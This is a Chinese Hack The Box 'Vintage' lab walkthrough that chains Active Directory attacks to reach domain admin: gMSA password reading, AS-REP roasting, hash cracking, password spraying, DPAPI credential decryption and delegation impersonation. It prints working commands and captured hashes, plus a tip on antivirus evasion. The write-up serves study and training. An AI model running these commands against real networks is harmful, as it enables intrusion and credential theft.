HTB-Vintage笔记

admin 2024年12月9日23:16:56评论364 views字数 8395阅读27分59秒阅读模式
HTB-Vintage笔记
条件用户:P.Rosa / Rosaisbest123
扫描靶机
nmap -v -A -T4 10.10.11.45
HTB-Vintage笔记
可以得到域名vintage.htb,尝试枚举一下看看能不能登录smb
HTB-Vintage笔记
看来不能,登录一下rpc,使用rpcclient
rpcclient -U P.Rosa//vintage.htb
HTB-Vintage笔记
不能登录rpc,那就尝试使用,那就使用getTGT工具,从dc那里拿Kerberos 票证(TGT, Ticket Granting Ticket),获得票据后,然后导入,利用票据进行枚举
impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123exportKRB5CCNAME=P.Rosa.ccachenetexec smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute
HTB-Vintage笔记
HTB-Vintage笔记
成功的枚举出一批用户,直接使用bloodhound-python生成内网环境
bloodhound-python -u P.Rosa -p Rosaisbest123 -d vintage.htb -k -c All -dc dc01.vintage.htb -ns 10.10.11.45
HTB-Vintage笔记
可以看到过程FS01.vintage.htb,猜测是另一台机器,先保存,利用pre2k工具,使用该工具利用win系统的未授权认证的方式枚举检查哪些用户有效,然后保存缓存
https://github.com/garrettfoster13/pre2k-TS
python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -inputfile users.txt -save
HTB-Vintage笔记
可以知道FS01$直接是未授权认证的,然后export他的cache,分析下fs01的关系
HTB-Vintage笔记

FS01.VINTAGE.HTB主机指向DOMAIN [email protected]组 ,,并有MemberOf,然后DOMAIN [email protected]组指向[email protected] 用户,并ReadGMSAPassword属性,说明:

  • FS01.VINTAGE.HTB
    计算机可以读取[email protected] 用户的密码,因为它具有ReadGMSAPassword 权限。
  • DOMAIN COMPUTERS
    组包含了FS01 计算机,而该组又与GMSA01$ 账户相关联。因此,FS01 计算机有能力使用 GMSA01$ 账户来执行某些任务或服务。
  • 由于 GMSA 账户用于服务的自动密码管理,FS01 可以在未直接拥有账户凭证的情况下,通过读取 GMSA 密码来执行任务,可能是某个服务或访问某些资源。
HTB-Vintage笔记
使用bloodyAD工具通过 Kerberos 认证查询 GMSA01$ 账户的 msDS-ManagedPassword 属性,获取该 GMSA 的密码信息,并且获取GMSA 的密码或其哈希值,sid值booldhound里面有
bloodyAD -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 get object 'S-1-5-21-4024337825-2033394866-2055507597-1107' --attr msDS-ManagedPassworddistinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htbmsDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==
HTB-Vintage笔记
成功导出了ntlm,然后分析一下gmsa的关系
HTB-Vintage笔记

AddSelf 权限AddSelf 权限允许该用户将自己添加到组中。这意味着[email protected] 可以将自己加入[email protected] 组或其他组

GenericWrite 权限GenericWrite 权限允许该用户修改目标对象的属性。这意味着[email protected] 用户可以修改组的属性,例如将其他用户添加到该组,或者更改组成员的权限等

[email protected]组对三个svc都有GenericAll属性,而且svc三个用户都隶属于[email protected],意味着对svc用户有完全控制,几乎等同于拥有对该对象的所有权限,包括对账户和权限的完全修改

https://youtu.be/z8thoG7gPd0
HTB-Vintage笔记
HTB-Vintage笔记
HTB-Vintage笔记
首先利用GMSA01的ntlm生成ticket,然后利用gmsa01跟service组的关系将P.Rosa用户加到[email protected]组里面
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53exportKRB5CCNAME=GMSA01$.ccachebloodyAD -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 add groupMember "SERVICEMANAGERS""P.Rosa"
HTB-Vintage笔记
成功的添加到service组里面,然后继续利用P.Rosa生成ticket,导入
impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htbexportKRB5CCNAME=P.Rosa.ccache
HTB-Vintage笔记
导入,然后进行Kerberos Roasting 攻击
HTB-Vintage笔记
但是可以看到KDC_ERR_CLIENT_REVOKED报错了,说明客户端的证书撤销了,接下来利用Kerberos Roasting属性,通过设置 DONT_REQ_PREAUTH ,可以想KDC请求票据,而且这些账户没有启用预身份验证,使用bloodyAD工具修改
bloodyAD -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTHbloodyAD -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTHbloodyAD -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
HTB-Vintage笔记
三个svc都设置成功,这三个账号就会启用状态,可以正常登录并进行身份验证,然后重新进行Kerberos Roasting 攻击
impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile users.txt -no-pass -outputfile hashes.txt[email protected]:129d37687cb8a377ea63bcb963c81e5c$de0248d693d0cb763cfdc81caa32084cc1cedaffd5c16a978dd778d39da7411d4e69bb0ca01909003500a0e115c8ddd77a7e88d7a930953e4465224e46a69fc5aa05380adad2a622ecb817180503c30b276d374b08b72ef643dbff8b11ae4d01a706965c1abc487dc5ca46b40071e4dcba1f8358865d0f293cfeef4708e8921662a2a040d90883a784ee978714b8a1f0be1a198f835cd2df1bd57f2bc90363de3880dabb51dcc7d9993a2163b999b8c0cd57441df12e5aa499649130d7e9d9512593c416a63f7821686434dad5295d2ba46155f524d83f6a7faf1d5626b3ca808f0e99d06b4cc136f138[email protected]:18d76973741be8a8f4b65d7656c60eaf$d90901a9c46dc5bd89258582f7b40c059c773e319a2ed004fce6abd0d6509d84f84d0c641b6922b8c2b4524f9b919cce9a9745c7da8966763430a2f1ce2cd96dbdfefcd8403037a5e916de3df125a23e40987198f4d1971519c03c446bf086dc97fdd206647d744b0383019866fc50fa20e895df4d880fd12c1dabe8caa16d76a47dad101d58f8205cd0c80f5e4e72930598db0968e81c8c9e0e699312767a320b2b33a62e2037a547639c243c2d58682ba3f3c9d594e1981e6cea37adbc22fe21611c99502a6ba178e09b9dc15d2931b24d1542d89646a978cbb0dff80da114907cac87c6311410ba3b[email protected]:1ae66eda8a0aa2319b3fd083eef547e9$a8c7c1e52c818ac5045013154d53df66bad9aae57936cf727559cee39a564796d3da7a3dfd200ec5f2e9fb253be8815a8518051a01b7a8382f6478519ced83ac251bf65d8d00905a93442b9a97f735e898a9d444da74d3300c1b0a03867ef4169358e11b53185c4d42fb0431f9c1d7ffc3988e2a8ea453f9f47bb84430b3e46f5fd558460d850b5f560ee6acb6662ee53f75724aadbcb641bef20517b84aeecb0519a1ea2ec1c6691fdabb181a81fdd21a5e9a64789cc9baf9938083587959490ec63e9b728e4ac5261b3b838ee64191c85227b8a42e9dfa764c0615ec01ad9dc44e5aaa443557558786
HTB-Vintage笔记
成功导出了哈希,保存,然后破解
john --wordlist=/home/zorejt/rockyou.txt svc_sql
HTB-Vintage笔记
就单单svc_sql可以破解,成功拿到了密码:Zer0the0ne,使用kerbrute枚举一下
./kerbrute_linux_amd64 --dc vintage.htb -d vintage.htb -v passwordspray users.txt Zer0the0ne
HTB-Vintage笔记
可以枚举到了C.Neri用户可以匹配该密码,直接生成ticket,然后导入,使用ticket登录winrm
impacket-getTGT vintage.htb/C.Neri:Zer0the0neexportKRB5CCNAME=C.Neri.ccache
HTB-Vintage笔记
报错了,没设置krb5.conf,记得设置
python3 krb5.py vintage.htb dc01import osimport sysimport argparsedefget_config(domain_fqdn: str, dc_name: str) -> str:"""    生成 krb5.conf 配置内容    :param domain_fqdn: 域名 FQDN    :param dc_name: 域控制器名称    :return: 配置字符串    """return"""[libdefaults]        default_realm = VINTAGE.HTB[realms]        VINTAGE.HTB = {                 kdc = dc01.vintage.htb                 admin_server = dc01.vintage.htb       }[domain_realm]          vintage.htb = VINTAGE.HTB          .vintage.htb = VINTAGE.HTB"""defrequest_root():"""    确保脚本以 root 权限运行    """if os.geteuid() != 0:print("[*] This script must be run as root")        args = ["sudo", sys.executable] + sys.argv + [os.environ]        os.execlpe("sudo", *args)defmain():"""    主函数,负责解析命令行参数并更新 /etc/krb5.conf 配置文件    """# 解析命令行参数    parser = argparse.ArgumentParser(description="Configure krb5.conf for evil-winrm")    parser.add_argument("domain_fqdn", help="Domain FQDN")    parser.add_argument("dc_name", help="Domain Controller Name")    args = parser.parse_args()    # 检查是否有 root 权限    request_root()    # 生成配置内容    config_data = get_config(args.domain_fqdn, args.dc_name)    print("[*] Configuration Data:")    print(config_data)    # 用户确认是否覆盖 /etc/krb5.conf    confirm = input("n[!] Above Configuration will overwrite /etc/krb5.conf, are you sure? [y/N] ")    if confirm.lower() != "y":        print("[!] Aborting")        sys.exit(1)    # 写入配置文件    try:        with open("/etc/krb5.conf", "w") as f:            f.write(config_data)        print("[+] /etc/krb5.conf has been configured")    except Exception as e:        print(f"[!] Error writing to /etc/krb5.conf: {e}")        sys.exit(1)if __name__ == "__main__":    main()    evil-winrm -i dc01.vintage.htb -r VINTAGE.HTB
HTB-Vintage笔记
成功的登录进去了,拿到了user flag,输入whomai  /priv查看一下
HTB-Vintage笔记
没什么可利用的,输入whoami /user查看一下sid,使用dpapi方式获得密码
HTB-Vintage笔记
HTB-Vintage笔记
找到了隐藏的凭证,下载下来,我先上传exe,上线先,有杀软请记得做免杀
HTB-Vintage笔记
HTB-Vintage笔记
下载后然后去到C:UsersC.NeriAppDataRoamingMicrosoftProtect那里拿id文件
HTB-Vintage笔记
首先使用他利用masterkey导出hashes
impacket-dpapi masterkey -file99cf41a3-a552-4cf7-a8d7-aca2d6f7339b-sid S-1-5-21-4024337825-2033394866-2055507597-1115-password Zer0the0ne
HTB-Vintage笔记
拿到了Decrypted key后然后继续解密凭证
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a 
HTB-Vintage笔记
成功的拿到了密码:Uncr4ck4bl3P4ssW0rd0312,这密码对应的是c.neri_adm用户的,然后查看一下关系
HTB-Vintage笔记
HTB-Vintage笔记
可以看到[email protected]指向[email protected]组,并且有AddSelf跟GenericWrite属性,跟前面的GMSA-1一样,而且和[email protected]同一个组,添加到DELEGATEDADMIS,然后利用L.BIANCHI_ADM,继续使用bloodyAD工具
bloodyAD -v DEBUG --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS""SVC_SQL"
HTB-Vintage笔记
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k setobject"SVC_SQL" servicePrincipalName -v "cifs/fake"
HTB-Vintage笔记
成功更新后,生成svc_sql的ticket
impacket-getTGT vintage.htb/SVC_SQL:Zer0the0ne -dc-ip dc01.vintage.htbexportKRB5CCNAME=SVC_SQL.ccache假如出现了KDC_ERR_CLIENT_REVOKED错误,说明被禁用了,使用bloodyAD开启一下bloodyAD -v DEBUG --host  dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
HTB-Vintage笔记
记得控制大小写的ccache
impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'exportKRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
HTB-Vintage笔记
成功导入后直接使用wimexec登录
impacket-wmiexec -k -no-pass VINTAGE.HTB/[email protected]
HTB-Vintage笔记
HTB-Vintage笔记
hash你们自己拿了~~~,good luck buddy !!

原文始发于微信公众号(Jiyou too beautiful):HTB-Vintage笔记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日23:16:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Vintage笔记https://cn-sec.com/archives/3478344.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息